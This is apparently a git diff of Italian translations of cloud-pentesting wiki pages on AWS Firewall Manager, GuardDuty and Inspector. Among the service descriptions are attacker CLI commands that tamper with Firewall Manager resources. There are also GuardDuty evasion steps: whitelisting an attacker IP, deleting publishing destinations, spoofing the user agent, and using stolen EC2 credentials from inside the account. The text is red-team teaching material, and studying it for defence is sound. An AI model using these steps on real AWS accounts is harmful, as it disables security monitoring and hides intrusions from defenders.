**FMS-Default-Protocols-Allowed**. Sono gestite da Firewall Manager e includono applicazioni e protocolli comunemente usati che dovrebbero essere consentiti o negati al pubblico generale. Non è possibile modificarle o eliminarle, tuttavia, puoi scegliere la loro versione. -- **Liste gestite personalizzate**: Gestisci queste liste tu stesso. Puoi creare liste di applicazioni e protocolli personalizzate su misura per le esigenze della tua organizzazione. A differenza delle liste gestite da Firewall Manager, queste liste non hanno versioni, ma hai il pieno controllo sulle liste personalizzate, consentendoti di crearle, modificarle ed eliminarle secondo necessità. +- **Liste gestite personalizzate**: Gestisci queste liste tu stesso. Puoi creare liste di applicazioni e protocolli personalizzate adattate alle esigenze della tua organizzazione. A differenza delle liste gestite da Firewall Manager, queste liste non hanno versioni, ma hai il pieno controllo sulle liste personalizzate, consentendoti di crearle, modificarle ed eliminarle secondo necessità. È importante notare che **le politiche di Firewall Manager consentono solo azioni "Block" o "Count"** per un gruppo di regole, senza un'opzione "Allow". @@ -22,33 +22,33 @@ AWS Firewall Manager fornisce **liste di applicazioni e protocolli gestiti** per I seguenti passaggi preliminari devono essere completati prima di procedere alla configurazione di Firewall Manager per iniziare a proteggere efficacemente le risorse della tua organizzazione. Questi passaggi forniscono la configurazione fondamentale necessaria affinché Firewall Manager possa applicare le politiche di sicurezza e garantire la conformità nel tuo ambiente AWS: 1. **Unisciti e configura AWS Organizations:** Assicurati che il tuo account AWS faccia parte dell'organizzazione AWS Organizations in cui si prevede di implementare le politiche di AWS Firewall Manager. Questo consente una gestione centralizzata delle risorse e delle politiche attraverso più account AWS all'interno dell'organizzazione. -2. **Crea un Account Amministratore Predefinito di AWS Firewall Manager:** Stabilisci un account amministratore predefinito specificamente per gestire le politiche di sicurezza di Firewall Manager. Questo account sarà responsabile della configurazione e dell'applicazione delle politiche di sicurezza in tutta l'organizzazione. Solo l'account di gestione dell'organizzazione è in grado di creare account amministratori predefiniti di Firewall Manager. +2. **Crea un Account Amministratore Predefinito di AWS Firewall Manager:** Stabilisci un account amministratore predefinito specificamente per la gestione delle politiche di sicurezza di Firewall Manager. Questo account sarà responsabile della configurazione e dell'applicazione delle politiche di sicurezza attraverso l'organizzazione. Solo l'account di gestione dell'organizzazione è in grado di creare account amministratori predefiniti di Firewall Manager. 3. **Abilita AWS Config:** Attiva AWS Config per fornire a Firewall Manager i dati di configurazione e le informazioni necessarie per applicare efficacemente le politiche di sicurezza. AWS Config aiuta ad analizzare, auditare, monitorare e controllare le configurazioni e le modifiche delle risorse, facilitando una migliore gestione della sicurezza. -4. **Per le Politiche di Terze Parti, Iscriviti nel AWS Marketplace e Configura le Impostazioni di Terze Parti:** Se prevedi di utilizzare politiche di firewall di terze parti, iscriviti a esse nel AWS Marketplace e configura le impostazioni necessarie. Questo passaggio garantisce che Firewall Manager possa integrare e applicare politiche da fornitori di terze parti fidati. +4. **Per le Politiche di Terze Parti, Iscriviti nel Marketplace AWS e Configura le Impostazioni di Terze Parti:** Se prevedi di utilizzare politiche di firewall di terze parti, iscriviti a esse nel Marketplace AWS e configura le impostazioni necessarie. Questo passaggio garantisce che Firewall Manager possa integrare e applicare politiche da fornitori di terze parti fidati. 5. **Per le Politiche di Network Firewall e DNS Firewall, abilita la condivisione delle risorse:** Abilita la condivisione delle risorse specificamente per le politiche di Network Firewall e DNS Firewall. Questo consente a Firewall Manager di applicare protezioni del firewall alle VPC della tua organizzazione e alla risoluzione DNS, migliorando la sicurezza della rete. 6. **Per utilizzare AWS Firewall Manager in regioni disabilitate per impostazione predefinita:** Se intendi utilizzare Firewall Manager in regioni AWS disabilitate per impostazione predefinita, assicurati di seguire i passaggi necessari per abilitare la sua funzionalità in quelle regioni. Questo garantisce un'applicazione coerente della sicurezza in tutte le regioni in cui opera la tua organizzazione. -Per ulteriori informazioni, controlla: [Iniziare con AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). +Per ulteriori informazioni, controlla: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). ### Types of protection policies AWS Firewall Manager gestisce diversi tipi di politiche per applicare controlli di sicurezza in vari aspetti dell'infrastruttura della tua organizzazione: 1. **Politica AWS WAF:** Questo tipo di politica supporta sia AWS WAF che AWS WAF Classic. Puoi definire quali risorse sono protette dalla politica. Per le politiche AWS WAF, puoi specificare set di gruppi di regole da eseguire per primi e per ultimi nell'ACL web. Inoltre, i proprietari degli account possono aggiungere regole e gruppi di regole da eseguire tra questi set. -2. **Politica Shield Advanced:** Questa politica applica le protezioni Shield Advanced in tutta la tua organizzazione per tipi di risorse specificati. Aiuta a proteggere contro attacchi DDoS e altre minacce. +2. **Politica Shield Advanced:** Questa politica applica le protezioni Shield Advanced attraverso la tua organizzazione per tipi di risorse specificati. Aiuta a proteggere contro attacchi DDoS e altre minacce. 3. **Politica del Gruppo di Sicurezza Amazon VPC:** Con questa politica, puoi gestire i gruppi di sicurezza utilizzati in tutta la tua organizzazione, applicando un insieme di regole di base nel tuo ambiente AWS per controllare l'accesso alla rete. 4. **Politica della Lista di Controllo degli Accessi di Rete (ACL) Amazon VPC:** Questo tipo di politica ti dà il controllo sulle ACL di rete utilizzate nella tua organizzazione, consentendoti di applicare un insieme di base di ACL di rete nel tuo ambiente AWS. 5. **Politica del Network Firewall:** Questa politica applica la protezione del AWS Network Firewall alle VPC della tua organizzazione, migliorando la sicurezza della rete filtrando il traffico in base a regole predefinite. -6. **Politica del DNS Firewall Amazon Route 53 Resolver:** Questa politica applica protezioni del DNS Firewall alle VPC della tua organizzazione, aiutando a bloccare tentativi di risoluzione di domini dannosi e ad applicare politiche di sicurezza per il traffico DNS. -7. **Politica del Firewall di Terze Parti:** Questo tipo di politica applica protezioni da firewall di terze parti, disponibili tramite abbonamento attraverso la console AWS Marketplace. Consente di integrare misure di sicurezza aggiuntive da fornitori fidati nel tuo ambiente AWS. +6. **Politica del DNS Firewall di Amazon Route 53 Resolver:** Questa politica applica protezioni del DNS Firewall alle VPC della tua organizzazione, aiutando a bloccare tentativi di risoluzione di domini dannosi e applicare politiche di sicurezza per il traffico DNS. +7. **Politica del Firewall di Terze Parti:** Questo tipo di politica applica protezioni da firewall di terze parti, disponibili tramite abbonamento attraverso la console del Marketplace AWS. Ti consente di integrare misure di sicurezza aggiuntive da fornitori fidati nel tuo ambiente AWS. 1. **Politica Palo Alto Networks Cloud NGFW:** Questa politica applica protezioni e regole del Palo Alto Networks Cloud Next Generation Firewall (NGFW) alle VPC della tua organizzazione, fornendo prevenzione avanzata delle minacce e controlli di sicurezza a livello di applicazione. -2. **Politica Fortigate Cloud Native Firewall (CNF) as a Service:** Questa politica applica protezioni del Fortigate Cloud Native Firewall (CNF) as a Service, offrendo prevenzione delle minacce leader del settore, firewall per applicazioni web (WAF) e protezione API su misura per infrastrutture cloud. +2. **Politica Fortigate Cloud Native Firewall (CNF) as a Service:** Questa politica applica protezioni del Fortigate Cloud Native Firewall (CNF) as a Service, offrendo prevenzione delle minacce leader del settore, firewall per applicazioni web (WAF) e protezione API adattata per infrastrutture cloud. ### Administrator accounts AWS Firewall Manager offre flessibilità nella gestione delle risorse del firewall all'interno della tua organizzazione attraverso il suo ambito amministrativo e due tipi di account amministratori. -**L'ambito amministrativo definisce le risorse che un amministratore di Firewall Manager può gestire**. Dopo che un account di gestione di AWS Organizations ha integrato un'organizzazione in Firewall Manager, può creare ulteriori amministratori con diversi ambiti amministrativi. Questi ambiti possono includere: +**L'ambito amministrativo definisce le risorse che un amministratore di Firewall Manager può gestire**. Dopo che un account di gestione di AWS Organizations ha integrato un'organizzazione in Firewall Manager, può creare amministratori aggiuntivi con diversi ambiti amministrativi. Questi ambiti possono includere: - Account o unità organizzative (OU) a cui l'amministratore può applicare politiche. - Regioni in cui l'amministratore può eseguire azioni. @@ -61,7 +61,7 @@ Ci sono due distinti tipi di account amministratori, ciascuno con ruoli e respon - **Amministratore Predefinito:** - L'account amministratore predefinito è creato dall'account di gestione dell'organizzazione AWS Organizations durante il processo di integrazione in Firewall Manager. - Questo account ha la capacità di gestire firewall di terze parti e possiede un ambito amministrativo completo. -- Funziona come l'account amministratore principale per Firewall Manager, responsabile della configurazione e dell'applicazione delle politiche di sicurezza in tutta l'organizzazione. +- Funziona come l'account amministratore principale per Firewall Manager, responsabile della configurazione e dell'applicazione delle politiche di sicurezza attraverso l'organizzazione. - Sebbene l'amministratore predefinito abbia accesso completo a tutti i tipi di risorse e funzionalità amministrative, opera allo stesso livello di pari degli altri amministratori se più amministratori vengono utilizzati all'interno dell'organizzazione. - **Amministratori di Firewall Manager:** - Questi amministratori possono gestire risorse nell'ambito designato dall'account di gestione di AWS Organizations, come definito dalla configurazione dell'ambito amministrativo. @@ -212,7 +212,7 @@ Un esempio di politica permissiva attraverso un gruppo di sicurezza permissivo, ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` -Un attaccante con i permessi **`fms:BatchAssociateResource`** e **`fms:BatchDisassociateResource`** sarebbe in grado di associare o dissociare risorse da un insieme di risorse di Firewall Manager rispettivamente. Inoltre, i permessi **`fms:PutResourceSet`** e **`fms:DeleteResourceSet`** consentirebbero a un attaccante di creare, modificare o eliminare questi insiemi di risorse da AWS Firewall Manager. +Un attaccante con i permessi **`fms:BatchAssociateResource`** e **`fms:BatchDisassociateResource`** sarebbe in grado di associare o disassociare risorse da un insieme di risorse di Firewall Manager rispettivamente. Inoltre, i permessi **`fms:PutResourceSet`** e **`fms:DeleteResourceSet`** consentirebbero a un attaccante di creare, modificare o eliminare questi insiemi di risorse da AWS Firewall Manager. ```bash # Associate/Disassociate resources from a resource set aws fms batch-associate-resource --resource-set-identifier --items @@ -222,7 +222,7 @@ aws fms batch-disassociate-resource --resource-set-identifier --items [--tag-list ] aws fms delete-resource-set --identifier ``` -**Impatto Potenziale:** L'aggiunta di un numero eccessivo di elementi a un set di risorse aumenterà il livello di rumore nel Servizio, potenzialmente causando un DoS. Inoltre, le modifiche ai set di risorse potrebbero portare a un'interruzione delle risorse, evasione delle politiche, violazioni di conformità e interruzione dei controlli di sicurezza all'interno dell'ambiente. +**Impatto Potenziale:** L'aggiunta di un numero eccessivo di elementi a un set di risorse aumenterà il livello di rumore nel Servizio, potenzialmente causando un DoS. Inoltre, le modifiche ai set di risorse potrebbero portare a una interruzione delle risorse, evasione delle politiche, violazioni di conformità e interruzione dei controlli di sicurezza all'interno dell'ambiente. ### `fms:PutAppsList`, `fms:DeleteAppsList` @@ -246,7 +246,7 @@ aws fms delete-protocols-list --list-id Un attaccante con i permessi **`fms:PutNotificationChannel`** e **`fms:DeleteNotificationChannel`** sarebbe in grado di eliminare e designare il ruolo IAM e il topic Amazon Simple Notification Service (SNS) che Firewall Manager utilizza per registrare i log SNS. -Per utilizzare **`fms:PutNotificationChannel`** al di fuori della console, è necessario configurare la policy di accesso del topic SNS, consentendo al **SnsRoleName** specificato di pubblicare i log SNS. Se il **SnsRoleName** fornito è un ruolo diverso da **`AWSServiceRoleForFMS`**, richiede una relazione di fiducia configurata per consentire al principale di servizio di Firewall Manager **fms.amazonaws.com** di assumere questo ruolo. +Per utilizzare **`fms:PutNotificationChannel`** al di fuori della console, è necessario configurare la policy di accesso del topic SNS, consentendo al **SnsRoleName** specificato di pubblicare i log SNS. Se il **SnsRoleName** fornito è un ruolo diverso da **`AWSServiceRoleForFMS`**, richiede una relazione di fiducia configurata per consentire al principale di servizio Firewall Manager **fms.amazonaws.com** di assumere questo ruolo. Per informazioni sulla configurazione di una policy di accesso SNS: @@ -261,7 +261,7 @@ aws fms delete-notification-channel ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` -Un attaccante con i permessi **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** sarebbe in grado di associare o dissociare firewall di terze parti per essere gestiti centralmente tramite AWS Firewall Manager. +Un attaccante con i permessi **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** sarebbe in grado di associare o disassociare firewall di terze parti per essere gestiti centralmente tramite AWS Firewall Manager. > [!WARNING] > Solo l'amministratore predefinito può creare e gestire firewall di terze parti. @@ -269,7 +269,7 @@ Un attaccante con i permessi **`fms:AssociateThirdPartyFirewall`**, **`fms:Disss aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] ``` -**Impatto Potenziale:** La disassociazione porterebbe a un'evasione della politica, violazioni di conformità e interruzione dei controlli di sicurezza all'interno dell'ambiente. L'associazione, d'altra parte, porterebbe a un'interruzione dell'allocazione dei costi e del budget. +**Impatto Potenziale:** La disassociazione porterebbe a un'evasione della policy, violazioni di conformità e interruzione dei controlli di sicurezza all'interno dell'ambiente. L'associazione, d'altra parte, porterebbe a un'interruzione dell'allocazione dei costi e del budget. ### `fms:TagResource`, `fms:UntagResource` @@ -278,7 +278,7 @@ Un attaccante sarebbe in grado di aggiungere, modificare o rimuovere tag dalle r aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys ``` -**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo degli accessi basate su tag. +**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo accessi basate su tag. ## Riferimenti diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index f1fdfe11f..ca7f146ca 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -6,28 +6,28 @@ Secondo la [**documentazione**](https://aws.amazon.com/guardduty/features/): GuardDuty combina **apprendimento automatico, rilevamento di anomalie, monitoraggio della rete e scoperta di file dannosi**, utilizzando sia AWS che fonti di terze parti leader del settore per aiutare a proteggere i carichi di lavoro e i dati su AWS. GuardDuty è in grado di analizzare decine di miliardi di eventi provenienti da più fonti di dati AWS, come i log degli eventi di AWS CloudTrail, i log di flusso di Amazon Virtual Private Cloud (VPC), i log di audit e di sistema di Amazon Elastic Kubernetes Service (EKS) e i log delle query DNS. -Amazon GuardDuty **identifica attività insolite all'interno dei tuoi account**, analizza la **rilevanza di sicurezza** dell'attività e fornisce il **contesto** in cui è stata invocata. Questo consente a un risponditore di determinare se dovrebbe dedicare tempo a ulteriori indagini. +Amazon GuardDuty **identifica attività insolite all'interno dei tuoi account**, analizza la **rilevanza della sicurezza** dell'attività e fornisce il **contesto** in cui è stata invocata. Questo consente a un risponditore di determinare se deve dedicare tempo a ulteriori indagini. Gli avvisi **appaiono nella console di GuardDuty (90 giorni)** e negli eventi di CloudWatch. > [!WARNING] -> Quando un utente **disabilita GuardDuty**, smetterà di monitorare il tuo ambiente AWS e non genererà più alcuna nuova scoperta, e le **scoperte esistenti andranno perse**.\ -> Se lo fermi semplicemente, le scoperte esistenti rimarranno. +> Quando un utente **disabilita GuardDuty**, smetterà di monitorare il tuo ambiente AWS e non genererà più alcun nuovo riscontro, e i **riscontri esistenti andranno persi**.\ +> Se lo fermi semplicemente, i riscontri esistenti rimarranno. -### Esempio di Scoperte +### Esempio di Riscontri - **Riconoscimento**: Attività che suggerisce riconoscimento da parte di un attaccante, come **attività API insolite**, tentativi di **accesso** al database sospetti, **scansione delle porte** intra-VPC, modelli insoliti di richieste di accesso fallite o probing di porte non bloccate da un IP noto come malevolo. -- **Compromissione dell'istanza**: Attività che indica una compromissione dell'istanza, come **mining di criptovalute, attività di comando e controllo (C\&C) di backdoor**, malware che utilizza algoritmi di generazione di domini (DGA), attività di negazione del servizio in uscita, volume di traffico di rete **insolitamente alto**, protocolli di rete insoliti, comunicazione dell'istanza in uscita con un IP noto come malevolo, credenziali temporanee di Amazon EC2 utilizzate da un indirizzo IP esterno e esfiltrazione di dati tramite DNS. -- **Compromissione dell'account**: Modelli comuni indicativi di compromissione dell'account includono chiamate API da una geolocalizzazione insolita o proxy di anonimizzazione, tentativi di disabilitare il logging di AWS CloudTrail, modifiche che indeboliscono la politica della password dell'account, lanci di istanze o infrastrutture insolite, distribuzioni di infrastruttura in una regione insolita, furto di credenziali, attività di accesso al database sospette e chiamate API da indirizzi IP noti come malevoli. -- **Compromissione del bucket**: Attività che indica una compromissione del bucket, come modelli di accesso ai dati sospetti che indicano un uso improprio delle credenziali, attività API di Amazon S3 insolite da un host remoto, accesso S3 non autorizzato da indirizzi IP noti come malevoli e chiamate API per recuperare dati nei bucket S3 da un utente senza una storia precedente di accesso al bucket o invocato da una posizione insolita. Amazon GuardDuty monitora e analizza continuamente gli eventi di dati S3 di AWS CloudTrail (ad es. GetObject, ListObjects, DeleteObject) per rilevare attività sospette in tutti i tuoi bucket Amazon S3. +- **Compromissione dell'istanza**: Attività che indica una compromissione dell'istanza, come **mining di criptovalute, attività di comando e controllo (C\&C) di backdoor**, malware che utilizza algoritmi di generazione di domini (DGA), attività di negazione del servizio in uscita, volume di traffico di rete **insolitamente alto**, protocolli di rete insoliti, comunicazione dell'istanza in uscita con un IP malevolo noto, credenziali temporanee di Amazon EC2 utilizzate da un indirizzo IP esterno e esfiltrazione di dati tramite DNS. +- **Compromissione dell'account**: Modelli comuni indicativi di compromissione dell'account includono chiamate API da una geolocalizzazione insolita o proxy di anonimizzazione, tentativi di disabilitare il logging di AWS CloudTrail, modifiche che indeboliscono la politica della password dell'account, lanci di istanze o infrastrutture insolite, distribuzioni di infrastruttura in una regione insolita, furto di credenziali, attività di accesso al database sospette e chiamate API da indirizzi IP malevoli noti. +- **Compromissione del bucket**: Attività che indica una compromissione del bucket, come modelli di accesso ai dati sospetti che indicano un uso improprio delle credenziali, attività API di Amazon S3 insolite da un host remoto, accesso S3 non autorizzato da indirizzi IP malevoli noti e chiamate API per recuperare dati nei bucket S3 da un utente senza una storia precedente di accesso al bucket o invocato da una posizione insolita. Amazon GuardDuty monitora e analizza continuamente gli eventi di dati S3 di AWS CloudTrail (ad es. GetObject, ListObjects, DeleteObject) per rilevare attività sospette in tutti i tuoi bucket Amazon S3.
-Informazioni sulle Scoperte +Informazioni sui Riscontri -Riepilogo delle scoperte: +Riepilogo del riscontro: -- Tipo di scoperta +- Tipo di riscontro - Gravità: 7-8.9 Alta, 4-6.9 Media, 01-3.9 Bassa - Regione - ID account @@ -44,9 +44,9 @@ Il corpo contiene queste informazioni:
-### Tutte le Scoperte +### Tutti i Riscontri -Accedi a un elenco di tutte le scoperte di GuardDuty in: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) +Accedi a un elenco di tutti i riscontri di GuardDuty in: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) ### Multi Account @@ -54,11 +54,11 @@ Accedi a un elenco di tutte le scoperte di GuardDuty in: [https://docs.aws.amazo Puoi **invitare altri account** a un diverso account AWS GuardDuty in modo che **ogni account sia monitorato dallo stesso GuardDuty**. L'account master deve invitare gli account membri e poi il rappresentante dell'account membro deve accettare l'invito. -#### Tramite Organizzazione +#### Via Organizzazione Puoi designare qualsiasi account all'interno dell'organizzazione come **amministratore delegato di GuardDuty**. Solo l'account di gestione dell'organizzazione può designare un amministratore delegato. -Un account che viene designato come amministratore delegato diventa un account amministratore di GuardDuty, ha GuardDuty abilitato automaticamente nella Regione AWS designata e ha anche il **permesso di abilitare e gestire GuardDuty per tutti gli account nell'organizzazione all'interno di quella Regione**. Gli altri account nell'organizzazione possono essere visualizzati e aggiunti come account membri di GuardDuty associati a questo account amministratore delegato. +Un account che viene designato come amministratore delegato diventa un account amministratore di GuardDuty, ha GuardDuty abilitato automaticamente nella regione AWS designata e ha anche **il permesso di abilitare e gestire GuardDuty per tutti gli account nell'organizzazione all'interno di quella regione**. Gli altri account nell'organizzazione possono essere visualizzati e aggiunti come account membri di GuardDuty associati a questo account amministratore delegato. ## Enumerazione ```bash @@ -106,16 +106,16 @@ aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id Cerca di scoprire il maggior numero possibile di informazioni sul comportamento delle credenziali che intendi utilizzare: -- Frequenza di utilizzo +- Orari in cui vengono utilizzate - Località - User Agents / Servizi (Potrebbe essere utilizzato da awscli, webconsole, lambda...) - Permessi utilizzati regolarmente -Con queste informazioni, ricrea il maggior numero possibile dello stesso scenario per utilizzare l'accesso: +Con queste informazioni, ricrea il più possibile lo stesso scenario per utilizzare l'accesso: -- Se è un **utente o un ruolo accessibile da un utente**, cerca di utilizzarlo nelle stesse ore, dalla stessa geolocalizzazione (anche lo stesso ISP e IP se possibile) -- Se è un **ruolo utilizzato da un servizio**, crea lo stesso servizio nella stessa regione e utilizzalo da lì negli stessi intervalli di tempo -- Cerca sempre di utilizzare i **stessi permessi** che questo principale ha utilizzato +- Se si tratta di un **utente o di un ruolo accessibile da un utente**, cerca di utilizzarlo nelle stesse ore, dalla stessa geolocalizzazione (anche lo stesso ISP e IP se possibile) +- Se si tratta di un **ruolo utilizzato da un servizio**, crea lo stesso servizio nella stessa regione e utilizzalo da lì negli stessi intervalli di tempo +- Cerca sempre di utilizzare gli **stessi permessi** che questo principale ha utilizzato - Se hai bisogno di **utilizzare altri permessi o abusare di un permesso** (ad esempio, scaricare 1.000.000 di file di log di cloudtrail) fallo **lentamente** e con il **minimo numero di interazioni** con AWS (awscli a volte chiama diverse API di lettura prima di quella di scrittura) ### Breaking GuardDuty @@ -135,28 +135,28 @@ aws guardduty create-filter --detector-id --name -- ``` #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`) -Gli attaccanti con i privilegi precedenti potrebbero modificare la [**lista IP fidata**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) di GuardDuty aggiungendo il proprio indirizzo IP e evitare di generare avvisi. +Gli attaccanti con i privilegi precedenti potrebbero modificare la [**lista IP fidati**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) di GuardDuty aggiungendo il proprio indirizzo IP e evitando di generare avvisi. ```bash aws guardduty update-ip-set --detector-id --activate --ip-set-id --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv ``` #### `guardduty:DeletePublishingDestination` -Gli attaccanti potrebbero rimuovere la destinazione per prevenire l'allerta: +Gli attaccanti potrebbero rimuovere la destinazione per prevenire gli avvisi: ```bash aws guardduty delete-publishing-destination --detector-id --destination-id ``` > [!CAUTION] > Eliminare questa destinazione di pubblicazione **non influenzerà la generazione o la visibilità dei risultati all'interno della console di GuardDuty**. GuardDuty continuerà ad analizzare gli eventi nel tuo ambiente AWS, identificare comportamenti sospetti o inaspettati e generare risultati. -### Esempi di bypass di risultati specifici +### Esempi specifici di bypass dei risultati -Nota che ci sono decine di risultati di GuardDuty, tuttavia, **come Red Teamer non tutti influenzeranno te**, e cosa migliore, hai la **documentazione completa di ciascuno di essi** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) quindi dai un'occhiata prima di intraprendere qualsiasi azione per non essere scoperto. +Nota che ci sono decine di risultati di GuardDuty, tuttavia, **come Red Teamer non tutti influenzeranno te**, e ciò che è meglio, hai la **documentazione completa di ciascuno di essi** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) quindi dai un'occhiata prima di intraprendere qualsiasi azione per non essere scoperto. -Ecco un paio di esempi di bypass di risultati specifici di GuardDuty: +Ecco un paio di esempi di bypass specifici dei risultati di GuardDuty: #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) -GuardDuty rileva le richieste API AWS da strumenti comuni di penetration testing e attiva un [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ +GuardDuty rileva le richieste API di AWS da strumenti comuni di penetration testing e attiva un [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ È rilevato dal **nome dell'agente utente** che viene passato nella richiesta API.\ Pertanto, **modificando l'agente utente** è possibile impedire a GuardDuty di rilevare l'attacco. @@ -164,7 +164,7 @@ Per prevenire questo puoi cercare nello script `session.py` nel pacchetto `botoc #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -Estrarre le credenziali EC2 dal servizio di metadata e **utilizzarle all'esterno** dell'ambiente AWS attiva l'allerta [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). Al contrario, utilizzare queste credenziali dalla tua istanza EC2 attiva l'allerta [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). Tuttavia, **utilizzare le credenziali su un'altra istanza EC2 compromessa all'interno dello stesso account rimane non rilevato**, senza sollevare alcun avviso. +Estrarre le credenziali EC2 dal servizio di metadata e **utilizzarle al di fuori** dell'ambiente AWS attiva l'allerta [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). Al contrario, utilizzare queste credenziali dalla tua istanza EC2 attiva l'allerta [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). Tuttavia, **utilizzare le credenziali su un'altra istanza EC2 compromessa all'interno dello stesso account rimane non rilevato**, senza attivare alcun avviso. > [!TIP] > Pertanto, **usa le credenziali esfiltrate dall'interno della macchina** in cui le hai trovate per non attivare questo avviso. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 66389c8d2..67e46a3ce 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -6,21 +6,21 @@ ### Inspector -Amazon Inspector è un servizio avanzato e automatizzato di gestione delle vulnerabilità progettato per migliorare la sicurezza del tuo ambiente AWS. Questo servizio esegue continuamente la scansione delle istanze Amazon EC2, delle immagini dei container in Amazon ECR, di Amazon ECS e delle funzioni AWS Lambda per vulnerabilità e esposizioni involontarie della rete. Sfruttando un robusto database di intelligence sulle vulnerabilità, Amazon Inspector fornisce risultati dettagliati, inclusi livelli di gravità e raccomandazioni per la risoluzione, aiutando le organizzazioni a identificare e affrontare proattivamente i rischi per la sicurezza. Questo approccio completo garantisce una postura di sicurezza rinforzata attraverso vari servizi AWS, supportando la conformità e la gestione del rischio. +Amazon Inspector è un servizio avanzato e automatizzato di gestione delle vulnerabilità progettato per migliorare la sicurezza del tuo ambiente AWS. Questo servizio esegue continuamente la scansione delle istanze Amazon EC2, delle immagini dei container in Amazon ECR, di Amazon ECS e delle funzioni AWS Lambda per vulnerabilità e esposizioni involontarie della rete. Sfruttando un robusto database di intelligence sulle vulnerabilità, Amazon Inspector fornisce risultati dettagliati, inclusi livelli di gravità e raccomandazioni per la remediation, aiutando le organizzazioni a identificare e affrontare proattivamente i rischi per la sicurezza. Questo approccio completo garantisce una postura di sicurezza rinforzata attraverso vari servizi AWS, supportando la conformità e la gestione del rischio. ### Key elements #### Findings -I risultati in Amazon Inspector sono rapporti dettagliati sulle vulnerabilità e le esposizioni scoperte durante la scansione delle istanze EC2, dei repository ECR o delle funzioni Lambda. In base al loro stato, i risultati sono categorizzati come: +I risultati in Amazon Inspector sono rapporti dettagliati su vulnerabilità ed esposizioni scoperte durante la scansione delle istanze EC2, dei repository ECR o delle funzioni Lambda. In base al suo stato, i risultati sono categorizzati come: -- **Active**: Il risultato non è stato risolto. -- **Closed**: Il risultato è stato risolto. +- **Active**: Il risultato non è stato rimediato. +- **Closed**: Il risultato è stato rimediato. - **Suppressed**: Il risultato è stato contrassegnato con questo stato a causa di una o più **regole di soppressione**. I risultati sono anche categorizzati nei seguenti tre tipi: -- **Package**: Questi risultati riguardano le vulnerabilità nei pacchetti software installati sulle tue risorse. Esempi includono librerie obsolete o dipendenze con problemi di sicurezza noti. +- **Package**: Questi risultati riguardano vulnerabilità in pacchetti software installati sulle tue risorse. Esempi includono librerie obsolete o dipendenze con problemi di sicurezza noti. - **Code**: Questa categoria include vulnerabilità trovate nel codice delle applicazioni in esecuzione sulle tue risorse AWS. Problemi comuni sono errori di codifica o pratiche insicure che potrebbero portare a violazioni della sicurezza. - **Network**: I risultati di rete identificano potenziali esposizioni nelle configurazioni di rete che potrebbero essere sfruttate dagli attaccanti. Questi includono porte 